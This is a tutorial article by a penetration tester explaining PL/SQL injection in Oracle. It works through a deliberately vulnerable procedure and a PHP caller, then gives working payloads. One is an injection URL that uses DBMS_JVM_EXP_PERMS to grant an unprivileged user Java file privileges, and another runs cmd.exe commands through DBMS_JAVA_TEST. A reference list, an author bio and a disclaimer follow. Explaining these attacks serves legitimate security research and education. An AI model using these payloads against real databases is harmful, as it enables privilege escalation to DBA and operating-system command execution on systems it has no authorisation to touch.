In  Oracle   there   is   another   class   of  vulnerability   which   is   similar   to   SQL   Injection   but   more   dangerous.  This   happens   when   unsanitised   user’s   input   is   used   in   construction   of   an   anonymous   PL/SQL   block  which   then   gets   dynamically   executed.
 
Let’s   look  at   one   such   example:  

CREATE OR REPLACE PROCEDURE SCOTT.TEST( Q IN VARCHAR2) AS
BEGIN
EXECUTE IMMEDIATE ('BEGIN '||Q||';END;');
END;
The   following   php   script  (ora9.php)  calls  this  procedure:  
$conn = oci_connect('
SCOTT','TIGER') or die;
$sql = 'BEGIN
scott.test(:name); END;';
$stmt = oci_parse($conn,$sql);
// Bind the input parameter
oci_bind_by_name($stmt,':name',$name,1000);
// Assign a value to the input
$name = $_GET['name'];
oci_execute($stmt);
?>

In  this  example  the  v ulnerable  procedure  is  owned  b y  SCOTT  (hence  unprivileged).  A lthough  Oracle  does   not   support   nested   query   in  SQL,   it   does   so   in  PL/SQL.  Hence   exploiting   this   is   quite  straightforward.    


Privilege   Escalation
 
Whatever   we   inject   within   this  PL/SQL   Injection,   it  will  get  executed   either   with   the   privileges   of  the  procedure   owner   or   invoker  (AUTHID  DEFINER  or  CURRENT_USER  respectively  defined  w ithin  vulnerable   procedure).  However,  as  now  we  can  issue  nested  queries,  t hen  we  can  exploit  the  vulnerable  packages  held   within  the  back-­- end  database  to  escalate  privileges.   David  Litchfield  recently   showed   a   0   day   by   which   a   user  with   just  CREATE   SESSION   privileges   can   become   DBA  (applies   to   10g   R2,   11g   R1,   11g   R2),  so  let’s  use  the  same  a ttack  vector  to  e xploit  this  vulnerability  and  first   grant   our   user   java   IO   privileges.
 
http://192.168.2.10/ora9.php?name=NULL; execute immediate 'DECLARE POL
DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; CURSOR C1 IS SELECT
''GRANT'',user(),''SYS'',''java.io.FilePermission'',''<<ALL
FILES>>'',''execute'',''ENABLED'' FROM DUAL;BEGIN OPEN C1; FETCH C1 BULK
COLLECT INTO POL;CLOSE
C1;DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);END;';end;--
 

This   will   grant   Java   privileges  to  our  SCOTT  u ser  (only  create  session  privileges  are  r equired).  With  these  privileges   we   can  become  DBA   (if  we   want)  or  just  directly   execute   Operating   System  Commands.  


OS   Code   Execution
 
execute immediate 'Select
DBMS_JAVA_TEST.FUNCALL(''oracle/aurora/util/Wrapper'',''main'',''c:\\window
s\\system32\\cmd.exe'',''/c'',''dir >> c:\\OUTer3.LST'') FROM DUAL' into
aa;end;end;--
   
References

1.
http://www.databasesecurity.com/HackingAurora.pdf
2. http://www.databasesecurity.com/ExploitingPLSQLinOracle11g.pdf    

3. http://www.databasesecurity.com/oracle/plsql-­‐injection-­‐create-­‐session.pdf   
4. http://blog.phishme.com/wp-­‐content/uploads/2007/08/dc-­‐15-­‐karlsson.pdf
5. http://blog.red-­‐database-­‐security.com/2009/01/17/tutorial-­‐oracle-­‐sql-­‐injection-­‐in-­‐webapps-­‐ part-­‐i/   
6. http://notsosecure.com/folder2/ora_cmd_exec.txt   
7. http://code.google.com/p/bsqlbf-­‐v2/
8. http://sqlmap.sourceforge.net/     
9. http://www.net-­‐security.org/dl/articles/more_advanced_sql_injection.pdf   
10. http://www.defcon.org/images/defcon-­‐16/dc16-­‐presentations/defcon-­‐16-­‐alonso-­‐ parada.pdf   
11. http://www.red-­‐database-­‐security.com/wp/confidence2009.pdf
12. http://www.slaviks-­‐blog.com/2009/10/13/blind-­‐sql-­‐injection-­‐in-­‐oracle/
  
 


About the author  
Sumit Siddharth (Sid) works as a principal security consultant for 7 Safe where he heads the Penetration Testing department. He specialises in application and database security and has been a speaker at many security conferences including Defcon, Troopers, OWASP Appsec, Sec-­- T etc. He also runs the popular IT security blog.  http://www.notsosecure.com      





OBS: Use estas informações para fins de solucionar problemas de banco de dados, pois o mal uso destas informações é de sua própria responsabilidade.